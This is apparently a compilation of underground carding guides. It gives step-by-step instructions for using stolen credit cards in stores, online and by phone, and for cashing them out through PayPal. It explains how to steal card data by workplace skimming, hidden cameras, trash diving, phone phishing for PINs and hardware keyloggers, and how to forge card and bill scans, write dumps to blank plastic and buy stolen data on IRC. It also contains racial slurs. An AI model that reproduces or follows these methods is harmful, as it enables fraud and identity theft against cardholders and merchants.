WANT, you NEED, you REQUIRE the card back. your prints are there so you better get it. if you self
|
||
swipe, a good trick is to swipe it and put it away as fast as possible. not fast to where your practically
|
||
going 400mph but you get the picture. this makes the clerk hesitate to ask you to see the card, compare
|
||
signatures, whatever. all mind games here.
|
||
c. the "response"
|
||
you can get many results after the swipe, here we go.
|
||
- approved
|
||
you did it, sign that electronic screen or receipt and you are on your way. walk out and get the fuck out of
|
||
there.
|
||
- declined
|
||
your cards fucked. either went too high or maybe it was a pick up. i never a clerk suspect a stolen card so
|
||
i don't know what to suggest. throw them a 2nd card or if you don't have one, ask where an atm is and say
|
||
you'll be back and just leave.
|
||
- call for authorization
|
||
tell that mother fucker you need the card back and all it means is that you went over your limit. if its self
|
||
swipe tell them you have a thing and don't like giving your card to people because your bank said to keep
|
||
it with you or some stupid excuse. calling for authorization on a card is bad news. some will just say
|
||
declined, some will actually say "whats the name of the individual", and since you don't know, you're in a
|
||
hot spot there. you can lie and say its your uncles and he told you to buy it maybe?
|
||
4. "where to go"
|
||
security is a big issue. i won't tell you all to stay away from malls because i shop there but never go back
|
||
once you did it, although they have people walking around but most of the time they are looking for shop
|
||
lifters. they have no reason to suspect you unless your banging out every store there and with a lot of
|
||
people. any person with instore experience knows about the last 4 digits of the card. some POS terminals
|
||
make the clerk type them in. if they don't match you are usually ok. tell them the bank is sending you a
|
||
new card and you are sorry. you assumed you could still use it. radio shack, circuit city, best buy, hot
|
||
topic, office depot(some), do last four. don't go there unless you spent money on matching plastic. good
|
||
places to hit are stores inside of a plaza where there basically is no security besides LE patrolling the area
|
||
|
||
which is usually fine. gas stations are easy but they can kill the dumps in some cases. pay at the pump is a
|
||
bad idea. i would only recommend it if you were shit broke and needed gas to do more carding. don't
|
||
fucking gas up anywhere with cameras. next thing you know is you carded a brand new computer just to
|
||
get busted for 20 dollars worth of gas.
|
||
good luck to everybody, have a nice thanksgiving everyone
|
||
List sites which charge CC instantly!
|
||
https://secure.hulu.com/plus/buy http://www.anchorfree.com/ Steampowered.com Onlive.com vudu.com
|
||
http://www.tmlewin.co.uk/ http://www.gak.co.uk/ Ea.com www.headblade.com zappos.com
|
||
facebook.com http://www.bigfishgames.com/ Store.origin.com woot.com
|
||
Money from cc to your paypal account
|
||
I'll tell you, how to transfer money from stolen cc to your PP account.
|
||
There is no nothing hard.
|
||
1) Open your paypal
|
||
2) Go to Profile -> My Saved Buttons
|
||
3) Create Button than a certain amount and copy code for email or integrating button on web page.
|
||
4) Found good cc for pp or used hacked account with cc added.
|
||
5) Click on Button which was integrated on web page and open checkout page.
|
||
6) Used good sock and make payment form cc or hacked pp account.
|
||
If everything will be ok, in your account will come money.
|
||
|
||
Money from cc to your paypal account [Quick Tutorial]
|
||
I'll tell you, how to transfer money from stolen cc to your PP account.
|
||
There is no nothing hard.
|
||
1) Open your paypal
|
||
2) Go to Profile -> My Saved Buttons
|
||
3) Create Button than a certain amount and copy code for email or integrating button on web page.
|
||
4) Found good cc for pp or used hacked account with cc added.
|
||
5) Click on Button which was integrated on web page and open checkout page.
|
||
6) Used good sock and make payment form cc or hacked pp account.
|
||
If everything will be ok, in your account will come money.
|
||
More Carding Terms
|
||
-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is
|
||
with 4 digits (some RARE times with 3)
|
||
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
|
||
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
|
||
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits
|
||
(some RARE times with 4)
|
||
-------------------------------------------------------------------------
|
||
Bank-emitent (Issuing bank) - bank which has issued the card
|
||
Billing address - the card owner address
|
||
Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the
|
||
earnings to you.
|
||
Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.
|
||
Card bill - it's a Bank emitent card bill.
|
||
Bank-equirer - bank, in which the store opens the account.
|
||
Merchant account - bank account for accepting credit cards.
|
||
Merchant Bank - bank, through which occur the payments between the buyer and the salesman
|
||
(frequently it is used as synonym "bank-equirer").
|
||
Cardholder - owner of the card.
|
||
|
||
Validity - suitability card using.
|
||
White plastic - a piece of the pure plastic, where the information is plot.
|
||
CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card
|
||
with the magnetic strip.
|
||
Transaction - charege to the credit card
|
||
POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.
|
||
PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By
|
||
simple words password for the work with ATM and so on.
|
||
AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its
|
||
holder.
|
||
"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).
|
||
Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).
|
||
Reader - information reading device for the readout from the magnetic strip of card.
|
||
Encoder - read/write device for the magnetic track of the card.
|
||
Embosser - card symbol extrusion device.
|
||
Card printer - card information printing device.
|
||
Exp.date - card validity period.
|
||
Area code - the first of 3 or 6 numbers of the card owner phone.
|
||
CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.
|
||
ePlus - program for checking the cards.
|
||
BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card
|
||
and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".
|
||
Chargeback - the cardholder's bank voids the removal of money from its card.
|
||
Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.
|
||
Track (road) - a part of the dump with the specific information. Every 1-st track is the information about
|
||
the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card,
|
||
etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.
|
||
Slip - synonym to the word "cheque" (conformably to card settlings).
|
||
Card balance - money sum that finding on the card account.
|
||
MMN Mothers Maiden Name, important if you want to change the billing address
|
||
some terms:
|
||
Automated Clearing House (ACH) - the automated clearing house. The voluntary association of
|
||
|
||
depositors, which achieves clearing of checks and electronic units by the direct exchange of means
|
||
between the members of association.
|
||
Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production
|
||
guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the
|
||
design, development, production, servicing and the propagation of the production.
|
||
Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize
|
||
direct buyer account debiting at the moment of the purchase of goods or service.
|
||
Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers,
|
||
which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment
|
||
and at the moment of payment.
|
||
Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.)
|
||
with which the debitor authorizes his financial establishment to debit his current account when obtaining
|
||
of calculation on payment from the indicated creditor.
|
||
Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or
|
||
magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that
|
||
concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale -
|
||
EFT/POS).
|
||
Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means
|
||
transfer purpose from the account of a buyer into the payment on the obligations, which arose in the
|
||
course of transaction at the point of sale.
|
||
Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several
|
||
computer micros-chip or integrated microcircuits for identification and storing of data or their special
|
||
treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for
|
||
delivery of permission for the purchase, account balance checking and storing the personal records. In
|
||
certain cases, the card memory renewal during each use (renewed account balance).
|
||
Internet - the open world communication infrastructure, which consists of the interrelated computer
|
||
networks and which provides access to the remote information and information exchange between the
|
||
computers.
|
||
International Standardisation Organisation (ISO) - International organization, which carries out
|
||
standardization, with the staff office in Geneva, Switzerland.
|
||
Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the
|
||
information, substituted by magnetic inks in the lower part of the check, including the number of check,
|
||
the code of department, sum and the number of account.
|
||
RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and
|
||
Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently
|
||
by the company Security Dynamics Technologies, Inc.
|
||
Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved
|
||
for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.
|
||
SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary
|
||
purpose is to track individuals for taxation purposes.
|
||
Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the
|
||
calculations.
|
||
|
||
System risk - the risk, with which the incapacity of one of the payment system participants either
|
||
financial market participants as a whole to fullfill their obligations causes the incapacity of other
|
||
participants or financial establishments to fulfill its obligations (including obligations regarding the
|
||
realization of calculations in means transfer systems) properly. This failure can cause significant liquidity
|
||
or crediting problems and, as result, it can cause loss to the stability of financial markets (with the
|
||
subsequent action on the level of economic activity).
|
||
Truncation - procedure, which makes it possible to limit the physical displacements of a paper document,
|
||
in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of
|
||
entire or part of the information, which is contained on this document (check).
|
||
Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card
|
||
embosser)
|
||
COB - Change of billing. Used for online carding, to change the billing address of a card since Online
|
||
Stores will only ship large items if the billing and shipping address match. You can obtain these from
|
||
vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the
|
||
stores ship items to your drop, since the billing and shipping addresses will match.
|
||
DOB - Date of birth of the card owner
|
||
My Carding Experience
|
||
This is a creepcentral publication
|
||
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing
|
||
addresses
|
||
Including drops and what you need to know;Huge guide written by me
|
||
kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going
|
||
into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2
|
||
different categories of their own.
|
||
What I'm going to cover:
|
||
Online Carding
|
||
- A quick overview of what online carding is
|
||
- SOCKS and why we use them
|
||
- Finding a cardable site and what cardable means
|
||
- Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Carding while on the job
|
||
- Getting CC, CVV, CVV2 through use of mobiles
|
||
- Skimming whilst on the job
|
||
- Using carbonless receipts to get details (pretty outdated method)
|
||
Trashing
|
||
- Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Phishing over the phone
|
||
|
||
- Phishing over the phone for details
|
||
Keylogging for CVV2s
|
||
- Hardware keylogging
|
||
Carding Instore
|
||
- What instore carding is (very brief)
|
||
- How it's done
|
||
- How to act and present yourself instore
|
||
Carding over the phone
|
||
- Carding over the phone
|
||
IRC
|
||
- Services provided in IRC
|
||
- Advantages to using IRC for info
|
||
- Disadvantages
|
||
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
- Vendors and how to approach them
|
||
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew
|
||
what they were doing)
|
||
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::
|
||
Phishing for Change of billing
|
||
- What COB is and why it's useful
|
||
- Use through phishing pages
|
||
- Use through keylogging
|
||
Drops and what you need to know about them
|
||
- Drops and what you need to know about them
|
||
[b]What carding is[b]
|
||
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#,
|
||
CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card
|
||
belongs to along with a signature.
|
||
Online Carding
|
||
Online carding is the purchasing of goods done over the internet with the CVV2.
|
||
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic
|
||
info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone
|
||
number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC
|
||
number and the CVC (card verification code, which is the 3 digits on the back of the card).
|
||
This is the format you usually get them in when you buy off IRC:
|
||
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street,
|
||
fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::
|
||
SOCKS and why we use them
|
||
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch
|
||
you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are
|
||
blacklisted by websites and because TOR cycles through various different proxies; and even if you
|
||
configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but
|
||
make sure you're using some constant sock proxies from the same city, town or area that the card is from;
|
||
also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some
|
||
searching around yourself for a highly trusted one and one which won't comply with LE).
|
||
|
||
You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time),
|
||
that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with
|
||
some Nigerian dude who became selfish).
|
||
So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH
|
||
proxies everytime you card.
|
||
Finding a cardable site and what cardable means
|
||
Basically a cardable site holds these characteristics and what you should be looking for to determine an
|
||
easily "cardable" website:
|
||
- The top one you need to look for on the site's TOS is that they send to any address and not just the one
|
||
registered on the card (although you can easily get around this if they don't, with a COB, photoshopped
|
||
verification (will go into detail later) or some social engineering over the phone).
|
||
- The next important to look for is if they have a visa verification code or mastercard secure code (most of
|
||
the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of
|
||
these you have to put in and you don't have them then don't waste your time
|
||
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to
|
||
your local drop)
|
||
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site
|
||
in the UK that has all these qualities including this one, it is perfect for carding clothes)
|
||
- Also you can't forget to see what other security checks they need to do (if they need to call you up to
|
||
verify or want a utility bill, passport or a scan of the actual CC)
|
||
It is hard to find websites online now that have most of these qualities, therefore we have to use COBs
|
||
and photoshop to help us along the way, which is what I'll go into now.
|
||
Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Okay so say you come across a site that will deliver to another house not registered on the card, but they
|
||
want verificaton either through phone or scans of a utility bill, credit card or passport.
|
||
For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia
|
||
3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's
|
||
details you're using is local to you and you're daring then go to their home and beige box from there; it'd
|
||
be very convincing.
|
||
If they speak to you over the phone have all details in your mind about the item you're carding, have some
|
||
bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it
|
||
there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites
|
||
at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.
|
||
For CC scans and how to do them check the attachments at the end of this file, they explain so much
|
||
better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt
|
||
them a little bit so it does actually look like a scan. To make it even more believable put some paper in the
|
||
scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the
|
||
front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same
|
||
goes for utility bills (can be got through trashing or your own, and then edited in PS).
|
||
Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give
|
||
you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram
|
||
image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm
|
||
working on getting a good one soon.
|
||
Carding whilst on the job
|
||
Getting CC, CVV, CVV2 through use of mobiles
|
||
|
||
Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust
|
||
anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of
|
||
people around flashing off their plastic cash and using them freely without a care in the world. The most
|
||
common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's
|
||
and all the other trendy shops.
|
||
Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they
|
||
bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think
|
||
again when they take your credit card and go under the desk with it to get the keypad, they are doing
|
||
more than just that; just because they're not taking the card and running off with it does not mean they're
|
||
not stealing your information. A friend of my dad used to card and work in a clothing store, he used to
|
||
have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh,
|
||
unfortunately he began doing it too much and because he'd gotten away with it so many times he became
|
||
careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be
|
||
careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the
|
||
max, and you don't know exactly if you're pressing over the info of another card already put on to the play
|
||
doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden
|
||
days.
|
||
But there is a new wonderful invention called cameras, video recording, and mobile phones and they are
|
||
even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at
|
||
least over 2 megapixel and allows long enough video recording times. The phone is set to video record
|
||
and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all
|
||
the information you need, as well as being quick you can get a lot more than 2 on, depending on how long
|
||
each recording lasts, you may need to start more than one recording.
|
||
You need good reason to be going under the desk to get the chip and pin machine, so make the desk look
|
||
cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you
|
||
could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so
|
||
you need to get the other one, take their card and then go under searching the desk and quickly show it to
|
||
the camera phone and then get the chip and pin machine and put the card in it and then hand to the
|
||
customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.
|
||
Skimming whilst on the job
|
||
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of
|
||
course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on
|
||
writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but
|
||
embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and
|
||
buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch
|
||
out).
|
||
If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're
|
||
a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep
|
||
hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much
|
||
easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as
|
||
much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be
|
||
giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving
|
||
it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their
|
||
card out of sight with them. I guess you could do that technique with clothing retail too when you get
|
||
their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend
|
||
shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone
|
||
and pretend to have them talking on the phone while really they're recording the person next to them
|
||
putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear
|
||
[5mpixel]).
|
||
I'll go into detail what to do with the dumps you have later in the instore carding section.
|
||
|
||
Using carbonless receipts to get details (pretty outdated method)
|
||
If the store you work at hasn't gone carbonless on the transactions information then you can get most of
|
||
the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you
|
||
get it.
|
||
Trashing
|
||
Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd
|
||
be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their
|
||
financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All
|
||
on forms people couldn't be bothered to dispose of properly because they thought they were JUST old
|
||
records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear
|
||
rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from
|
||
work as well). But also from this if there is not enough info for you on the forms then there is definitely
|
||
the phone number of the mark on the form that they've scrapped; almost always, and if not then there is
|
||
enough info on their to look them up in the phone directory. Then of course you use social engineering
|
||
skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then
|
||
go trashing in the bins at the back of the store for the receipts with the credit card details on it.
|
||
Phishing over the phone
|
||
Phishing over the phone for details
|
||
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung
|
||
up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are
|
||
people actually stupid enough to fall for these obvious scams. Even more people fall for this if they
|
||
believe that the caller is from the credit card company itself or part of the secret service or credit fraud
|
||
investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If
|
||
you sound professional or part of an important group such as investigations then people are more likely to
|
||
comply with you if they believe that their card has been used for credit fraud purposes and have to give
|
||
their credit card info and billing address for verification. The best time to call up the mark is when they
|
||
are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get
|
||
back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they
|
||
question you. Play along well to the part you're pretending to be. Some social engineering skills are
|
||
required and you must gain the experience of lying to people yourself. Before calling up the person find
|
||
out as much information about them as you can.
|
||
If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell
|
||
them there has been some suspicious charges made to the credit card from places such as South Africa,
|
||
Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out
|
||
of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may
|
||
as well, it'll make it easier to get a COB for you to use).
|
||
You can also get their PIN out of them if you want as well by either straight out asking them to confirm
|
||
it, or be crafty and after you've told them to verify their PIN you're putting them through to a different
|
||
department; then play some cheesy music down the phone for a few mins, have a female voice recording
|
||
(use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get
|
||
these recorded so they can be decoded with DTMF decoding hardware/software later (although it's
|
||
expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like,
|
||
it's preferred to use decoding software to ensure you have it correct.
|
||
If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for
|
||
this).
|
||
Keylogging for CVV2s
|
||
Hardware keylogging
|
||
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer
|
||
|
||
belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals
|
||
etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or
|
||
maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers
|
||
from here:
|
||
http://tyner.com/datalogger/keykatcher.htm
|
||
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as
|
||
to not look suspicious just coming in and then leaving a few seconds later).
|
||
Or of course you could set one up in a business and do the classic call in and do some social engineering
|
||
from the credit card company or secret service and have them go to the bank online and have them log in
|
||
to verify, or maybe even have them log in to a fake bank online made by yourself that will collect
|
||
anyone's info who logs in on it.
|
||
Carding Instore
|
||
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece
|
||
of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the
|
||
PIN as well through whatever method you choose to use.
|
||
How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is
|
||
the best to use). And you do it like this:
|
||
Written by: Acetrace
|
||
1. Load up thejerms software
|
||
2. hit settings tab
|
||
3. hit "Defaults" in Leading Zeros box
|
||
4. hit "75 bpi" in Set Track 2 density box
|
||
5. go bak to actions
|
||
6. hit LoCo or HiCo in Coercivity box, depending on which you want to do
|
||
7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)
|
||
8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went
|
||
ok)
|
||
9. GO SHOPPING!!!
|
||
Download thejerm from here:
|
||
Code:
|
||
Now how you should act when you go carding instore is pretty much common sense, but some people get
|
||
caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.
|
||
Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be
|
||
stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart
|
||
for the occasion, wear brand named clothing (that you've previously carded ) or even a suit. It would look
|
||
suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in with
|
||
style. When you go instore, you ACT like you are using your own card, because essentially that's what it
|
||
is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras mean
|
||
nothing anyway, they don't know your name or where you live, they're not being watched half of the time,
|
||
so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you go in,
|
||
don't rush take your time, browse around some other items. Find the item you want to card and even ask
|
||
|
||
the employee simple questions about it (if it's a TV or comp just ask questions about certain specs and if
|
||
it's good for playing video games on). You'll be most nervous at the checkout, just act as normal as you
|
||
always have been, don't make too much small talk but be polite and civil. Once you have the good sin
|
||
your hands don't bolt out the door, just say thank you and then casually walk out the door, get to your car
|
||
and then celebrate all you want.
|
||
The following users say "It is so good to hear it!":
|
||
Carding over the phone
|
||
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you
|
||
could use a beige box and call from someone else's phone but that's a totally different game all together
|
||
and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple
|
||
and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the
|
||
year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though
|
||
) to call them up. Do not put on a stupid voice at all, the salesman/woman will know and it'll be a cause
|
||
for investigation during the mailing of the goods or the requesting of them. Just be calm, cool and talk to
|
||
them as you normally would if you were ordering with your own card. They'll ask for a name, name as it
|
||
appears on card, phone number, billing address, expiration date, method of shipping, and the product that
|
||
you want to buy. Also when trying to not seem so shifty be sure to ask questions such as if they can
|
||
deliver the next day or 1st class, and if they can order it to your "relatives" house so that it can be there
|
||
for their birthday; maybe even ask if they can write a message to go with the gift as well on your behalf .
|
||
The next day postage is said so that they have less time to look up details on the order. Some cards will
|
||
have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start
|
||
to question you then just answer the questions and talk your way around the situation with your social
|
||
engineering skills; don't just run away from the questions or hang up straight away, otherwise that is
|
||
cause for suspicion and they may investigate. If all goes well you should have your item of choice
|
||
delivered to your drop location or a house of someone else's address who you don't know and call them
|
||
up saying that you called up the store and they've sent the package to the wrong address and it is still
|
||
sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after
|
||
work (this is a last resort and only to be tried if you're good at talking to people, which you should be if
|
||
you're a carder). I recommend checking out the section on drops later on in this text.
|
||
I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send
|
||
without some verification which is usually the case).
|
||
IRC
|
||
Services provided in IRC
|
||
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE
|
||
black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off
|
||
IRC from CP to warez to CC details (which is what we want).
|
||
To concentrate on carding though you can buy:
|
||
CVVs
|
||
CVV2s
|
||
SSNs
|
||
Utility bill scans
|
||
CC scans
|
||
COB (a service to get someone to call up the victim's bank and get the billing address changed to your
|
||
drop)
|
||
Payment for using someone else's drop and then sending to you
|
||
Spyware
|
||
Fake ID/ ID scans
|
||
DUMPZ
|
||
Phisher pages
|
||
|
||
The list really is endless
|
||
There are a lot of advantages to using IRC networks and channels which I'll go into now:
|
||
- The channels are often underground and not known to many people, so they're harder to stumble upon
|
||
by some random guy.
|
||
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing
|
||
the traffic. This makes it harder for investigators to uncover.
|
||
- Easier and quicker to communicate with mass amounts of like minded people.
|
||
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made
|
||
every second, guaranteed).
|
||
- And of course a varity of services, if you need something you can bet someone from the other side of
|
||
the world will be willing to share or/and sell to you.
|
||
There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you
|
||
stay cautious, here's what you should be weary of:
|
||
- Viruses
|
||
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and
|
||
NOD32 are what you want)
|
||
- Do not accept random .exes or any file for that matter
|
||
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely
|
||
How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find
|
||
these channels?
|
||
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is
|
||
where I found out about a lot of the carder channels I used, also how I found out about forums and their
|
||
IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I
|
||
was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh
|
||
about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his
|
||
type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with
|
||
him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of
|
||
Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself
|
||
under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd
|
||
got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get
|
||
invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone,
|
||
I was banned for ripping (I didn't rip anyone )
|
||
The quicker way is to use these and search for certain keywords:
|
||
www.irclinux.org
|
||
www.irctrace.com
|
||
www.irclog.org
|
||
ircarchive.info
|
||
www.irc-chat-logs.com
|
||
http://www.irseek.com/
|
||
And of course don't forget google.
|
||
I'm only going to give you one clue for searching through google for a carding IRC, and that word is
|
||
"undernet".
|
||
Fellow carders don't like revealing their IRCs, and for obvious reasons.
|
||
|
||
My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow
|
||
fraudster.
|
||
Vendors and how to approach them
|
||
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways
|
||
you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is
|
||
just like going up to a random drug dealer in the street and not knowing what you really want or what
|
||
you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if
|
||
you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase
|
||
somewhere; they should show you a before and after and the limits that are there on the card [there are
|
||
methods out there of checking your balance; you can even get it through text/sms]. This is a market so
|
||
remember there are more people that will be willing to buy from that vendor, it's open for all, you can get
|
||
a full load of info including dumps for as low as £3/$5, drops usually go for £7; if someone is saying
|
||
